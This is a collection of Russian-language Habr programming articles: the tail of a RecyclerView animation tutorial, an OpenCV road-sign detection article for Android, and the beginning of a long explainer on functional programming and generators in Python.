PropertyValuesHolder.ofFloat("scaleY", 0.0f, 2.0f), PropertyValuesHolder.ofFloat("alpha", 0.0f, 1.0f, 0.0f));
scaleLikeIcon.setInterpolator(DECELERATE_INTERPOLATOR);
scaleLikeIcon.setDuration(1000);
ObjectAnimator scaleLikeBackground = ObjectAnimator.ofPropertyValuesHolder
(holder.characterCV, PropertyValuesHolder.ofFloat("scaleX", 1.0f, 0.95f, 1.0f),
PropertyValuesHolder.ofFloat("scaleY", 1.0f, 0.95f, 1.0f));
scaleLikeBackground.setInterpolator(DECELERATE_INTERPOLATOR);
scaleLikeBackground.setDuration(600);
animatorSet.playTogether(scaleLikeIcon, scaleLikeBackground);
animatorSet.start();
}
```
`RecyclerView` вызывает метод `animateChange(...)`, когда элемент адаптера присутствует одновременно до и после отрисовки после вызова метода `notifyItemChanged(int)`. Этот метод также можно использовать, при вызове `notifyDataSetChanged()`, если при этом в адаптере используются стабильные идентификаторы. Это необходимо для того, чтобы `RecyclerView` мог переиспользовать `view`-компоненты в тех же `ViewHolders`. Обратите внимание на то, что этот метод принимает в качестве аргументов: *(ViewHolder oldHolder, ViewHolder newHolder, ItemHolderInfo preInfo, ItemHolderInfo postInfo)*. Поскольку мы повторно используем `ViewHolder`, оба — oldHolder и newHolder — одинаковы.
Всякий раз, когда пользователь дважды кликает на любой элемент, вызывается следующий метод:
```
notifyItemChanged(position, ACTION_LIKE_IMAGE_DOUBLE_CLICKED);
```
Это запускает всю цепочку вызовов: `canReuseUpdatedViewHolder(...)`, `recordPreLayoutInformation(...)` и, в конечном итоге, `animateChange(...)` в `ItemAnimator`, который, в свою очередь, анимирует элемент списка и иконку сердечка в этом элементе (пример на гифке выше).
Это вторая часть серии статей про `RecyclerView`. Если пропустили первую часть, то читайте её [здесь](https://habr.com/post/425945/).
Ещё несколько хороших статей на тему `RecyclerView`:
* [RecyclerView — More Animations with Less Code using Support Library ListAdapter](https://medium.com/@trionkidnapper/recyclerview-more-animations-with-less-code-using-support-library-listadapter-62e65126acdb)
* [Using SnapHelper in RecyclerView](https://medium.com/mindorks/using-snaphelper-in-recyclerview-fc616b6833e8)
* [File template for RecyclerView Adapter in Kotlin](https://proandroiddev.com/file-template-for-recyclerview-adapter-in-kotlin-4e31d2364842)
[← Советы для профессионального использования RecyclerView. Часть 1](https://habr.com/post/425945/) | https://habr.com/ru/post/426773/ | null | ru | null |
# OpenCV. Поиск дорожных знаков методом контурного анализа в Android
Привет Хабр!
Хочу поделиться собственной реализацией алгоритма поиска дорожных знаков.
Почему контурный анализ?
Контурный анализ имеет довольно слабую устойчивость к помехам, но простота и быстродействие позволили вполне успешно применить данный подход.
Однако, на практике оказалось довольно непросто реализовать поиск нужных коэффициентов на платформе Android (Виджеты OpenCV применять не пробовал, вместо этого разделил экран на фреймы, где слева настройки, справа видеопоток с задней камеры). Конкретная реализация UI и логики проекта доступна по ссылке внизу.
Последовательность операций поиска дорожного знака представлена следующим образом:
* Подавление шумов
Например, через нелинейный фильтр
```
cv::medianBlur(original, original, 3);
```
* Преобразование изображения из RGBA в HSV
При использовании цветовой модели HSV точнее выделяется базовый красный цвет дорожного знака на основании цветового тона, насыщенности и яркости.
При этом, говоря о цветовом тоне, обычно имеют в виду именно цвет. Насыщенность показывает насколько описываемый цвет разбавлен белым (розовый, например, это смесь красного и белого). Понятие яркость наиболее сложно для описания, и с некоторыми допущениями под яркостью можно понимать интенсивность света.
```
cv::Mat hsv;
cv::cvtColor(original, hsv, cv::COLOR_RGB2HSV);
if (layerType == LAYER_HSV) {
*(cv::Mat*)matAddress = hsv;
}
```
* Выделение дорожного знака по цвету
В процессе обработки изображение разделяется на отдельные каналы H, S и V, которые в дальнейшем бинаризуются по определенному порогу и объединяются посредством логического сложения в конечную матрицу изображения.
```
std::vector channels;
cv::split(hsv, channels);
cv::Mat minHueThreshold = channels[0] < lowerHue;
if (layerType == LAYER\_HUE\_LOWER) {
\*(cv::Mat\*)matAddress = minHueThreshold;
}
cv::Mat maxHueThreshold = channels[0] > upperHue;
if (layerType == LAYER\_HUE\_UPPER) {
\*(cv::Mat\*)matAddress = maxHueThreshold;
}
if (layerType == LAYER\_HUE) {
\*(cv::Mat\*)matAddress = minHueThreshold | maxHueThreshold;
}
cv::Mat saturationThreshold = channels[1] > minSaturation;
if (layerType == LAYER\_SATURATION) {
\*(cv::Mat\*)matAddress = saturationThreshold;
}
cv::Mat valueThreshold = channels[2] > minValue;
if (layerType == LAYER\_VALUE) {
\*(cv::Mat\*)matAddress = valueThreshold;
}
cv::Mat colorFiltered =
(minHueThreshold | maxHueThreshold) & saturationThreshold & valueThreshold;
if (layerType == LAYER\_RED\_FILTERED) {
\*(cv::Mat\*)matAddress = colorFiltered;
}
```
* Детектирование дорожного знака по внешнему контуру
Прежде всего осуществляется операция растягивания, которая устраняет шум и способствует объединению областей изображения, которые были разделены предметами, тенями.
```
cv::Mat colorDilated;
cv::dilate(colorFiltered, colorDilated, cv::Mat());
if (layerType == LAYER_DILATED) {
*(cv::Mat*)matAddress = colorDilated;
}
```
Для поиска контуров используется класс SimpleBlobDetector, который есть не что иное, как частный случай реализации функции findContours() для круглых объектов. Она может находить внешние и вложенные контуры и определять их иерархию вложения.
```
cv::SimpleBlobDetector::Params params;
params.filterByColor = false;
params.filterByConvexity = false;
params.filterByInertia = false;
params.filterByArea = true;
// A = 254.46900494077 px^2 при минимальном диаметре круга в 9 px
params.minArea = 255;
// A = 723822.94738709 px^2 при максимальном диаметре круга в 480 px
params.maxArea = 723823;
params.filterByCircularity = true;
params.minCircularity = 0.85f;
cv::Ptr detector =
cv::SimpleBlobDetector::create(params);
std::vector keyPoints;
detector->detect(colorDilated, keyPoints);
```
В векторе keyPoints записываются координаты и радиус контура дорожного знака, которые затем выделяются на экране.
Не скажу, что в условиях реальной местности работает хорошо (возможно, алгоритм детектирования не самый лучший, но он оказался самым простым в использовании). И есть трудности в поисках оптимальных коэффициентов (вдоволь «поохотился» на дорожные знаки в своем городе; встречал даже выгоревшие от солнца знаки, красного на них вовсе не было).
Но простота радует глаз, так что вполне можно найти применение контурному анализу, например, в робототехнике.
Из дополнительных плюшек по опыту использования OpenCV в Android:
**Поворот изображения с камеры, если оно перевернуто**
```
extern "C"
JNIEXPORT void JNICALL Java_ru_dksta_prohibitingsigndetector_ActivityMain_rotation(JNIEnv /* *env */,
jclass /* activity */, jlong matAddress, jint angle) {
CV_Assert(angle % 90 == 0 && angle <= 360 && angle >= -360);
cv::Mat* mat = (cv::Mat*) matAddress;
if (angle == 180 || angle == -180) {
cv::flip(*mat, *mat, -1);
}
}
```
**Реализация Salt&Pepper шума**
```
extern "C"
JNIEXPORT void JNICALL Java_ru_dksta_prohibitingsigndetector_ActivityMain_saltPepperNoise(JNIEnv /* *env */,
jclass /* activity */, jlong matAddress) {
cv::Mat* mat = (cv::Mat*) matAddress;
cv::Mat noise = cv::Mat::zeros((*mat).rows, (*mat).cols, CV_8U);
cv::randu(noise, 0, 255);
cv::Mat black = noise < 30;
cv::Mat white = noise > 225;
(*mat).setTo(255, white);
(*mat).setTo(0, black);
}
```
**Отображения видео с камеры с обработкой в режиме 'картинка в картинке'**
```
if (secondView) {
cv::Mat miniView = colorDilated.clone();
cv::cvtColor(miniView, miniView, cv::COLOR_GRAY2RGB);
cv::resize(miniView, miniView, cv::Size(), 0.6, 0.6, cv::INTER_LINEAR);
cv::Size miniSize = miniView.size();
cv::Size maxSize = original.size();
int startY = maxSize.height - miniSize.height;
for (int y = startY; y < maxSize.height; y++) {
for (int x = 0; x < miniSize.width; x++) {
(*(cv::Mat*)matAddress).at(cv::Point(x, y)) =
miniView.at(cv::Point(x, y - startY));
}
}
}
```
**Написание текста в OpenCV**
```
cv::Mat* mat = (cv::Mat*)matAddress;
int textStartY = TEXT_LINE_HEIGHT;
std::ostringstream output;
output << std::setw(2) << std::setfill('0') << fpsCount << " FPS";
cv::putText(*mat, output.str(), cv::Point(TEXT_START_X, textStartY), FONT_FACE,
FONT_SCALE, GREEN, TEXT_THICKNESS);
output.seekp(0);
textStartY += TEXT_LINE_HEIGHT;
cv::putText(*mat, getLayerTypeDesc(layerType),
cv::Point(TEXT_START_X, textStartY), FONT_FACE, FONT_SCALE, GREEN,
TEXT_THICKNESS);
```
→ [Ссылка на проект](https://github.com/androidovshchik/ProhibitingSignDetector) | https://habr.com/ru/post/339506/ | null | ru | null |
# Функциональное программирование в Python. Генераторы, как питонячий декларативный стиль
* Общее введение
* ФП
+ Введение в ФП
+ Основные принципы ФП
+ Основные термины
+ Встроенное ФП поведение в Python
+ Библиотека Xoltar Toolkit
+ Библиотека returns
+ Литература
* Генераторы
+ Введение в итераторы
+ Введение в генераторы
+ Генераторы vs итераторы
+ Генераторы как пайплайн
+ Концепт yield from
+ Маршрутизация данных на генераторах (мультиплексирование, броадкастинг)
+ Пример трейсинга генератора
+ Стандартные инструменты генераторы
+ Выводы
- Плюсы
- Минусы
+ Литература
* Итоги
Общее введение
==============
Говоря о Python, обычно используется процедурный и ООП стиль программирования, однако это не значит, что другие стили невозможны. В презентации ниже мы рассмотрим ещё пару вариантов — Функциональное программирование и программирование с помощью генераторов. Последние, в том числе, привели к появлению сопрограмм, которые позднее помогли создать асинхронность в Python. Сопрограммы и асинхронность выходят за рамки текущего доклада, поэтому, если интересно, можете ознакомиться об этом самостоятельно. Лично я рекомендую книгу "Fluent Python", в которой разговор начинается от итераторов, плавно переходит в темы о генераторах, сопрограммах и асинхронности.
ФП
==
Введение в ФП
-------------
Говоря о ФП сразу следует подчеркнуть, что программирование через функции далеко не всегда ФП, чаще всего это всего лишь процедурный стиль программирования. Чтобы попробовать понять ФП — необходимо разобраться, что это такое, и помогут нам в этом теоретические знания.
Выделяют две крупные парадигмы программирования: императивная и декларативная.
Императивное программирование предполагает ответ на вопрос “Как?”. В рамках этой парадигмы вы задаете последовательность действий, которые нужно выполнить, для того чтобы получить результат. Результат выполнения сохраняется в ячейках памяти, к которым можно обратиться впоследствии.
Декларативное программирование предполагает ответ на вопрос “Что?”. Здесь вы описываете задачу, даете спецификацию, говорите, что вы хотите получить в результате выполнения программы, но не определяете, как этот ответ будет получен. Каждая из этих парадигм включает в себя более специфические модели.
В продуктовой разработке наибольшее распространение получили процедурное и объектно-ориентированное программирование из группы “императивное программирование” и функциональное программирование из группы “декларативное программирование”.
В рамках процедурного подхода к программированию основное внимание сосредоточено на декомпозиции – разбиении программы / задачи на отдельные блоки / подзадачи. Разработка ведётся пошагово, методом “сверху вниз”. Наиболее распространенным языком, который предполагает использование процедурного подхода к программирования является язык C, в нем, основными строительными блоками являются функции.
В рамках объектно-ориентированного (ООП) подхода программа представляется в виде совокупности объектов, каждый из которых является экземпляром определенного класса, классы образуют иерархию наследования. ООП базируется на следующих принципах: инкапсуляция, наследование, полиморфизм, абстракция. Примерами языков, которые позволяют вести разработку в этой парадигме являются C#, Java.
В рамках функционального программирования выполнение программы – процесс вычисления, который трактуется как вычисление значений функций в математическом понимании последних (в отличие от функций как подпрограмм в процедурном программировании). Языки, которые реализуют эту парадигму – Haskell, Lisp.
Языки, которые можно отнести в функциональной парадигме обладают определенным набором свойств. Если язык не является чисто функциональным, но реализует эти свойства, то на нем можно разрабатывать, как говорят, в функциональном стиле.
Основные принципы ФП
--------------------
* Функции являются объектами первого класса (First Class Object).
Это означает, что с функциями вы можете работать, также как и с данными — передавать их в качестве аргументов другим функциям, присваивать переменным и т.п.
* Использование рекурсии в качестве основной структуры контроля потока управления. В некоторых языках не существует иной конструкции цикла, кроме рекурсии.
* Акцент на обработке списков (lists, отсюда название Lisp — LISt Processing). Списки с рекурсивным обходом подсписков часто используются в качестве замены циклов.
* Используются функции высшего порядка (High Order Functions). Функции высшего порядка – функции, которые могут в качестве аргументов принимать другие функции.
> Функции высшего порядка принимают в качестве аргументов другие функции. В стандартную библиотеку Python входит достаточно много таких функций, в качестве примера приведем функцию map. Она принимает функцию и Iterable объект, применяет функцию к каждому элементу Iterable объекта и возвращает Iterator объект, который итеративно возвращает все модифицированные после функции элементы.
>
>
* Функции являются “чистыми” (Pure Functions) – т.е. не имеют побочных эффектов (иногда говорят: не имеют сайд-эффектов).
> В Python это не выполняется. Необходимо самостоятельно следить за тем, чтобы функция была чистой.
>
>
* Акцент на том, что должно быть вычислено, а не на том, как вычислять.
Основные термины
----------------
Не все термины ниже необходимы для понимания доклада, но необходимы для понимания ФП (спасибо одному другу за их подборку)
* Ссылочная прозрачность.
Ссылочная прозрачность — свойство функциональных программ, в котором любое выражение может быть заменено вычисленным им значением без изменения поведения программы. Ссылочная прозрачность позволяет проводить рефакторинг программ без изменения их поведения.
* Функции
+ Детерминированные.
Детерминированная функция возвращает тот же результат для одних и тех же входных данных.
+ Чистые.
Чистая функция трансформирует входные данные в выходные и не взаимодействует с миром вне функции каким-либо образом, который можно наблюдать. Все чистые функции детерминированы, но не все детерминированные функции чисты.
+ Тотальные.
Тотальная функция возвращает вывод для каждого ввода.
Тотальные функции всегда завершаются и никогда не вызывают исключений.
* Композиция функций — применение одной функции к результату другой
* Сайд эффект.
Сайд эффект возникает, когда выполнение выражения делает что-то большее, чем вычисление значения. Сайд эффекты — взаимодействия, которые можно наблюдать за пределами функции или выражения. Распространённые сайд эффекты включают в себя доступ к базе данных, доступ к файлам, доступ к сети, системные вызовы, изменение изменяемой памяти или вызов функций, которые выполняют любое из вышеперечисленных действий.
* Полиморфизм.
Полиморфизм — особенность языков программирования, которая позволяет переменной или функции принимать множество различных форм. Рассмотрим один из видов полиморфизма.
+ Параметрический полиморфизм.
Параметрический полиморфизм, иногда называемый универсальным, является особенностью некоторых языков программирования, который позволяет универсально количественно определять функцию или тип данных по одному или нескольким параметрам типа. Такие полиморфные функции и полиморфные типы данных называются параметризованными их параметрами типа.
Параметрический полиморфизм позволяет создавать общий код, который работает со многими различными типами данных, и универсальными типами данных, таких как коллекции. Параметрически полиморфный код должен вести себя единообразно при любом выборе параметров типа, что дает мощный способ рассуждать о таком коде, называемый параметрическим рассуждением.
* Замыкание (closure)
Замыкание — процедура вместе с привязанной к ней совокупностью данных. © Steve Majewski
Замыкание — функция, которая ссылается на свободные переменные в своей области видимости.
Встроенное ФП поведение в Python
--------------------------------
Базовые элементы ФП в Python — функции `map()`, `reduce()`, `filter()` и оператор `lambda`. В Python 1.x введена также функция `apply()`, удобная для прямого применения функции к списку, возвращаемому другой. Python 2.0 предоставляет для этого улучшенный синтаксис. Начиная с Python 2.3 считается устаревшей, удалена в Python 3.0
Несколько неожиданно, но этих функций и всего нескольких базовых операторов почти достаточно для написания любой программы на Python; в частности, все управляющие утверждения (`if`, `elif`, `else`, `assert`, `try`, `except`, `finally`, `for`, `break`, `continue`, `while`, `def`) можно представить в функциональном стиле, используя исключительно функции и операторы. Несмотря на то, что задача реального удаления всех команд управления потоком, возможно, полезна только для представления на конкурс "невразумительный Python" (с кодом, выглядящим как программа на Lisp'е), стоит уяснить, как ФП выражает управляющие структуры через вызовы функций и рекурсию.
В соответствии с вышесказанным, попробуем сделать несколько хаков, чтобы наш код был более ФПшный. Избавимся от `if`/`elif`/`else` в Python
```
# Normal statement-based flow control
if :
func1()
elif :
func2()
else:
func3()
# Equivalent "short circuit" expression
( and func1()) or ( and func2()) or (func3())
```
> Примечание. Как заметил [skymorp](https://habr.com/ru/users/skymorp/), эквивалентность соблюдается лишь в том случае, если `func1`, `func2` и (необязательно) `func3` возвращают non falsy значения. Например, если в качестве func будут принты, то последнее выражение (`func3`) будет выполняться всегда.
Используем lambda для присваивания таких условных выражений
```
pr = lambda s:s
namenum = lambda x: (x==1 and pr("one")) or (x==2 and pr("two")) or (pr("other"))
assert namenum(1) == 'one'
assert namenum(2) == 'two'
assert namenum(3) == 'other'
```
Замена циклов на выражения так же проста, как и замена условных блоков. for может быть переписана с помощью map().
```
for e in lst:
func(e) # statement-based loop
map(func,lst) # map-based loop
```
То же самое мы можем сделать и с функциями.
```
do_it = lambda f: f()
# let f1, f2, f3 (etc) be functions that perform actions
map(do_it, [f1,f2,f3])
```
Перевести while впрямую немного сложнее, но вполне получается.
```
# statement-based while loop
while :
if :
break
else:
# FP-style recursive while loop
def while\_block():
if :
return 1
else:
return 0
while\_FP = lambda: ( and while\_block()) or while\_FP()
while\_FP()
```
ФП вариант while все еще требует функцию while\_block(), которая сама по себе может содержать не только выражения, но и утверждения (statements). Но мы могли бы продолжить дальнейшее исключение утверждений в этой функции (как, например, замену блока if/else в вышеописанном шаблоне).
К тому же, обычная проверка на месте (наподобие while myvar == 7) вряд ли окажется полезной, поскольку тело цикла (в представленном виде) не может изменить какие-либо переменные (хотя глобальные переменные могут быть изменены в while\_block()). Один из способов применить более полезное условие — заставить while\_block() возвращать более осмысленное значение и сравнивать его с условием завершения.
Стоит взглянуть на реальный пример исключения утверждений:
```
# imperative version of "echo()"
def echo_IMP():
while 1:
x = input("IMP -- ")
if x == 'quit':
break
else:
print(x)
echo_IMP()
# utility function for "identity with side-effect"
def monadic_print(x):
print(x)
return x
# FP version of "echo()"
echo_FP = lambda: monadic_print(input("FP -- ")) == 'quit' or echo_FP()
echo_FP()
```
> Примечание. Как заметил [skymorp](https://habr.com/ru/users/skymorp/), в случае с императивным стилем, `print` не вызывается, если `input("IMP -- ") == 'quit'`. В примере с функциональным программированием `print` вызывается всегда.
Мы достигли того, что выразили небольшую программу, включающую ввод/вывод, циклы и условия в виде чистого выражения с рекурсией (фактически — в виде функционального объекта, который при необходимости может быть передан куда угодно).
Мы все еще используем служебную функцию monadic\_print(), но эта функция совершенно общая и может использоваться в любых функциональных выражениях, которые мы создадим позже. Заметим, что любое выражение, содержащее monadic\_print(x) вычисляется так же, как если бы оно содержало просто x.
После всей проделанной работы по избавлению от совершенно осмысленных конструкций и замене их на невразумительные вложенные выражения, возникает естественный вопрос — "Зачем?!". Перечитывая описания характеристик ФП, мы можем видеть, что все они достигнуты в Python. Но важнейшая (и, скорее всего, в наибольшей степени реально используемая) характеристика — исключение побочных эффектов или, по крайней мере, ограничение их применения специальными областями наподобие монад. Огромный процент программных ошибок и главная проблема, требующая применения отладчиков, случается из-за того, что переменные получают неверные значения в процессе выполнения программы.
Функциональное программирование обходит эту проблему, просто вовсе не присваивая значения переменным.
```
# Nested loop procedural style for finding big products
xs = (1,2,3,4)
ys = (10,15,3,22)
bigmuls = []
# ...more stuff...
for x in xs:
for y in ys:
# ...more stuff...
if x*y > 25:
bigmuls.append((x,y))
# ...more stuff...
# ...more stuff...
print(bigmuls)
```
Секции, комментированные как `#...more stuff...` — места, где побочные эффекты с наибольшей вероятностью могут привести к ошибкам.
В любой из этих точек переменные `xs`, `ys`, `bigmuls`, `x`, `y` могут приобрести неожиданные значения в гипотетическом коде. Далее, после завершения этого куска кода все переменные могут иметь значения, которые могут ожидаться, а могут и не ожидаться посдедующим кодом.
Очевидно, что инкапсуляция в функциях/объектах и тщательное управление областью видимости могут использоваться, чтобы защититься от этого рода проблем. Вы также можете всегда удалять (del) ваши переменные после использования.
Но на практике указанный тип ошибок весьма обычен. Функциональный подход к задаче полностью исключает ошибки, связанные с побочными эффектами. Возможное решение могло бы быть таким:
```
bigmuls = lambda xs,ys: filter(lambda (x,y):x*y > 25, combine(xs,ys))
combine = lambda xs,ys: map(None, xs*len(ys), dupelms(ys,len(xs)))
dupelms = lambda lst,n: reduce(lambda s,t:s+t, map(lambda l,n=n: [l]*n, lst))
print(bigmuls((1,2,3,4),(10,15,3,22)))
```
Реальное преимущество этого функционального примера в том, что в нем абсолютно ни одна переменная не меняет своего значения. Какое-либо неожиданное побочное влияние на последующий код (или со стороны предыдущего кода) просто невозможно. Конечно, само по себе отсутствие побочных эффектов не гарантирует безошибочность кода, но в любом случае это преимущество. Вместо вышеприведенных примеров — императивного или функционального — наилучшая (и функциональная) техника выглядит следующим образом:
```
print([(x,y) for x in (1,2,3,4) for y in (10,15,3,22) if x*y > 25])
```
Да, всё верно, list, tuple, set, dict comprehensions и generator expressions — изначально ФП техники, которые, как и многое другое, перекочевало в другие не-ФП языки
Библиотека Xoltar Toolkit
-------------------------
Сразу оговоримся, что библиотека достаточно старая и подходит лишь для Python 2, однако для ознакомления её достаточно. Библиотека Xoltar Toolkit Брина Келлера (Bryn Keller) покажет нам больше возможностей ФП.
Основные возможности ФП Келлер представил в виде небольшого эффективного модуля на чистом Python. Помимо модуля functional, в Xoltar Toolkit входит модуль lazy, поддерживающий структуры, вычисляемые "только когда это необходимо". Множество функциональных языков программирования поддерживают отложенное вычисление, поэтому эти компоненты Xoltar Toolkit предоставят вам многое из того, что вы можете найти в функциональном языке наподобие Haskell.
Ничто в Python не запрещает переприсваивания другого значения имени, ссылающемуся на функциональное выражение. В ФП под именами понимается всего лишь буквенное сокращение более длинных выражений, при этом подразумевается, что одно и то же выражение всегда приводит к одному и тому же результату. Если же уже определенному имени присваивается новое значение, это допущение нарушается.
```
>>> car = lambda lst: lst[0]
>>> cdr = lambda lst: lst[1:]
>>> sum2 = lambda lst: car(lst)+car(cdr(lst))
>>> sum2(range(10))
1
>>> car = lambda lst: lst[2]
>>> sum2(range(10))
5
```
К несчастью, одно и то же выражение sum2(range(10)) вычисляется к разным результатам в двух местах программы, несмотря на то, что аргументы выражении не являются изменяемыми переменными.
К счастью, модуль functional предоставляет класс Bindings, предотвращающий такое переприсваивание.
```
>>> from functional import *
>>> let = Bindings()
>>> let.car = lambda lst: lst[0]
>>> let.car = lambda lst: lst[2]
Traceback (innermost last):
File "",
line 1, in ? File "d:\tools\functional.py",
line 976, in \_\_setattr\_\_ raise BindingError, "Binding '%s' cannot be modified." % name
functional.BindingError: Binding 'car' cannot be modified. >>> car(range(10)) 0
```
Разумеется, реальная программа должна перехватить и обработать исключение BindingError, однако сам факт его возбуждения позволяет избежать целого класса проблем.
Библиотека returns
------------------
Уже более современная библиотека, предлагаемая Никитой Соболевым, нашим соотечественником, также позволяет использовать возможности ФП в Python. Декоратор maybe позволяет переходить к следующей итерации только при успешном завершении предыдущей
```
from returns.maybe import Maybe, maybe
@maybe # decorator to convert existing Optional[int] to Maybe[int]
def bad_function() -> Optional[int]:
...
maybe_number: Maybe[float] = bad_function().map(
lambda number: number / 2,
)
# => Maybe will return Some[float] only if there's a non-None value
# Otherwise, will return Nothing
```
Более реальный пример, из императивного стиля в декларативный можно переписать так:
```
# Imperative style
user: Optional[User]
discount_program: Optional['DiscountProgram'] = None
if user is not None:
balance = user.get_balance()
if balance is not None:
credit = balance.credit_amount()
if credit is not None and credit > 0:
discount_program = choose_discount(credit)
# same with returns
user: Optional[User]
# Type hint here is optional, it only helps the reader here:
discount_program: Maybe['DiscountProgram'] = Maybe.from_value(
user,
).map( # This won't be called if `user is None`
lambda real_user: real_user.get_balance(),
).map( # This won't be called if `real_user.get_balance()` returns None
lambda balance: balance.credit_amount(),
).map( # And so on!
lambda credit: choose_discount(credit) if credit > 0 else None,
)
```
Или, например, позволяет обходить возможные подводные камни напрямую через пайплайн
```
# Imperative style
def fetch_user_profile(user_id: int) -> 'UserProfile':
"""Fetches UserProfile dict from foreign API."""
response = requests.get('/api/users/{0}'.format(user_id))
# What if we try to find user that does not exist?
# Or network will go down? Or the server will return 500?
# In this case the next line will fail with an exception.
# We need to handle all possible errors in this function
# and do not return corrupt data to consumers.
response.raise_for_status()
# What if we have received invalid JSON?
# Next line will raise an exception!
return response.json()
```
И то же самое, только с помощью returns
```
import requests
from returns.result import Result, safe
from returns.pipeline import flow
from returns.pointfree import bind
def fetch_user_profile(user_id: int) -> Result['UserProfile', Exception]:
"""Fetches `UserProfile` TypedDict from foreign API."""
return flow(
user_id,
_make_request,
bind(_parse_json),
)
@safe
def _make_request(user_id: int) -> requests.Response:
response = requests.get('/api/users/{0}'.format(user_id))
response.raise_for_status()
return response
@safe
def _parse_json(response: requests.Response) -> 'UserProfile':
return response.json()
```
Теперь у нас есть чистый, безопасный и декларативный способ выразить потребности нашего бизнеса: Мы начинаем с запроса, который может потерпеть неудачу в любой момент, затем анализирем ответ, если запрос был успешным, а потом возвращаем результат.
Вместо обычных значений возвращаются значения, заключенные в специальный контейнер, благодаря декоратору `@safe`. Он вернет `Success [YourType]` или `Failure [Exception]`. И никогда не бросит нам исключение!
Подробнее об этой библиотеке можно уточнить из её достаточно большой и подробной документации, указанной в литературе.
> Прим. Я, как автор этой статьи, не использовал returns в проде и не думаю, что буду когда-либо использовать, но не упомянуть об этой библиотеке в рамках данной статьи просто нельзя.
Литература
----------
* Серия лекций <https://devpractice.ru/fp-python-part1-general/>
* Две статьи о ФП в Python
+ <https://www.ibm.com/developerworks/ru/library/l-prog/index.html>
+ <https://www.ibm.com/developerworks/ru/library/l-prog2/index.html>
* <https://degoes.net/articles/fp-glossary> большой список терминов ФП
* <https://returns.readthedocs.io/en/latest/>
Генераторы
==========
Введение в итераторы
--------------------
Итерация — по сути является перебором значений. Вот обычный пример, который встречается повсюду.
```
>>> for x in [1,4,5,10]:
... print(x, end=' ')
...
1 4 5 10
```
Также, как мы знаем, итерация может происходить по многим типам объектов (не только спискам). Причина, почему мы можем итерироваться по объектам — реализация специального протокола
```
>>> items = [1, 4, 5]
>>> it = iter(items)
>>> it.__next__()
1
>>> it.__next__()
4
>>> it.__next__()
5
>>> it.__next__()
```
Внутри под капотом обычной итерации.
```
for x in obj:
# statements
```
Происходит примерно следующее:
```
_iter = iter(obj) # Get iterator object
while 1:
try:
x = _iter.__next__() # Get next item
except StopIteration: # No more items
break
# statements
```
Фактически, любой объект, который поддерживает конструкцию `iter()` называется итерируемым. Чтобы добавить его поддержку в своём классе, нам необходимо имплементировать методы `__iter__()` и `__next__()`.
Например, посмотрим, как имплементировать такое:
```
>>> for x in Countdown(10):
... print(x, end=' ')
...
10 9 8 7 6 5 4 3 2 1
```
Его реализация будет такова:
```
class Countdown(object):
def __init__(self,start):
self.start = start
def __iter__(self):
return CountdownIter(self.start)
class CountdownIter(object):
def __init__(self, count):
self.count = count
def __next__(self):
if self.count <= 0:
raise StopIteration
r = self.count
self.count -= 1
return r
```
Введение в генераторы
---------------------
Генератор — функция, которая генерирует последовательность результатов вместо одного значения
```
def countdown(n):
while n > 0:
yield n
n -= 1
```
Вместо того, чтобы возвращать значение, мы создаём серию значений (с использованием оператора yield). Вызов функции генератора создает объект-генератор. Однако функция не запускается.
```
def countdown(n):
print("Counting down from", n)
while n > 0:
yield n
n -= 1
>>> x = countdown(10)
>>> x
>>>
```
Функция генератор выполняется только при вызове `__next__()`.
```
>>> x = countdown(10)
>>> x
>>> x.\_\_next\_\_()
Counting down from 10
10
>>>
```
yield возвращает значение, но приостанавливает выполнение функции. Функция генератор возобновляется при следующем вызове `__next__()`. При завершении итератора возбуждается исключение `StopIteration`.
```
>>> x.__next__()
9
>>> x.__next__()
8
>>>
...
>>> x.__next__()
1
>>> x.__next__()
Traceback (most recent call last):
File "", line 1, in ?
StopIteration
>>>
```
Небольшие выводы:
* Функция генератор — более удобный способ написания итератора
* Вам не нужно беспокоиться о реализации протокола итератора (`__next__`, `__iter__` и т. д.), т.к. при создании функции с `yield` магия Python уже добавляет в объект функции нужные методы.
```
>>> def x():
... return 1
...
>>> def y():
... yield 1
...
>>> [i for i in dir(y()) if i not in dir(x())]
['__del__', '__iter__', '__name__', '__next__', '__qualname__', 'close', 'gi_code', 'gi_frame', 'gi_running', 'gi_yieldfrom', 'send', 'throw']
```
Помимо функции генератора возможно также использовать генераторное выражение, которое также возвращает `generator object`.
```
>>> a = [1,2,3,4]
>>> b = (2*x for x in a)
>>> b
>>> for i in b: print(b, end=' ')
...
2 4 6 8
```
Синтаксис генераторного выражения также прост
```
(expression for i in s if condition)
# the same with
for i in s:
if condition:
yield expression
```
Генераторы vs итераторы
-----------------------
Функция генератор немного отличается от объекта, поддерживающего итерацию. Генератор — разовая операция. Мы можем перебирать сгенерированные данные один раз, но если мы хотим сделать это снова, мы должны снова вызвать функцию генератор. Это отличается, например, от списка (который мы можем перебирать столько раз, сколько хотим)
Генераторы как пайплайн
-----------------------
Теперь у нас есть два основных строительных блока, которые мы можем применить для создания пайплайна. Например, имеется задача:
Узнайте, сколько байтов данных было передано, суммируя последний столбец данных в журнале веб-сервера Apache. И да, размер лог файла может измеряться в гигабайтах
Каждая строка в логах выглядит примерно так:
`81.107.39.38 - ... "GET /ply/ply.html HTTP/1.1" 200 97238`
Число байтов находится в последней колонке:
```
bytes_sent = line.rsplit(None,1)[1]
```
Это может быть число или отсутствующее значение.
`81.107.39.38 - ... "GET /ply/ HTTP/1.1" 304 -`
Сконвертируем полученный результат в число
```
if bytes_sent != '-':
bytes_sent = int(bytes_sent)
```
В итоге, может получиться примерно такой код
```
with open("access-log") as wwwlog:
total = 0
for line in wwwlog:
bytes_sent = line.rsplit(None,1)[1]
if bytes_sent != '-':
total += int(bytes_sent)
print("Total", total)
```
Мы читаем строка за строкой и обновляем сумму. Но это старый стиль. Посмотрим, как эту задачу можно решить с помощью генераторов.
```
with open("access-log") as wwwlog:
bytecolumn = (line.rsplit(None,1)[1] for line in wwwlog)
bytes_sent = (int(x) for x in bytecolumn if x != '-')
print("Total", sum(bytes_sent))
```
Этот подход отличается от предыдущего, меньше строк, напоминает функциональный стиль Мы получили пайплайн
На каждом этапе конвейера мы объявляем операцию, которая будет применяться ко всему входному потоку. Вместо того чтобы сосредоточиться на проблеме построчно, мы просто разбиваем ее на большие операции, которые работают со всем файлом. Это декларативный подход.
Безусловно, этот генераторный подход имеет разновидности причудливой медленной магии. Файл из 1.3 ГБ код в старом стиле выполнил за 18.6 секунд, код на генераторах был выполнен за 16,7 секунд.
AWK с той же задачей справился гораздо медленее, за 70.5 секунд
```
awk '{ total += $NF } END { print total }' big-access-log
```
Небольшие выводы:
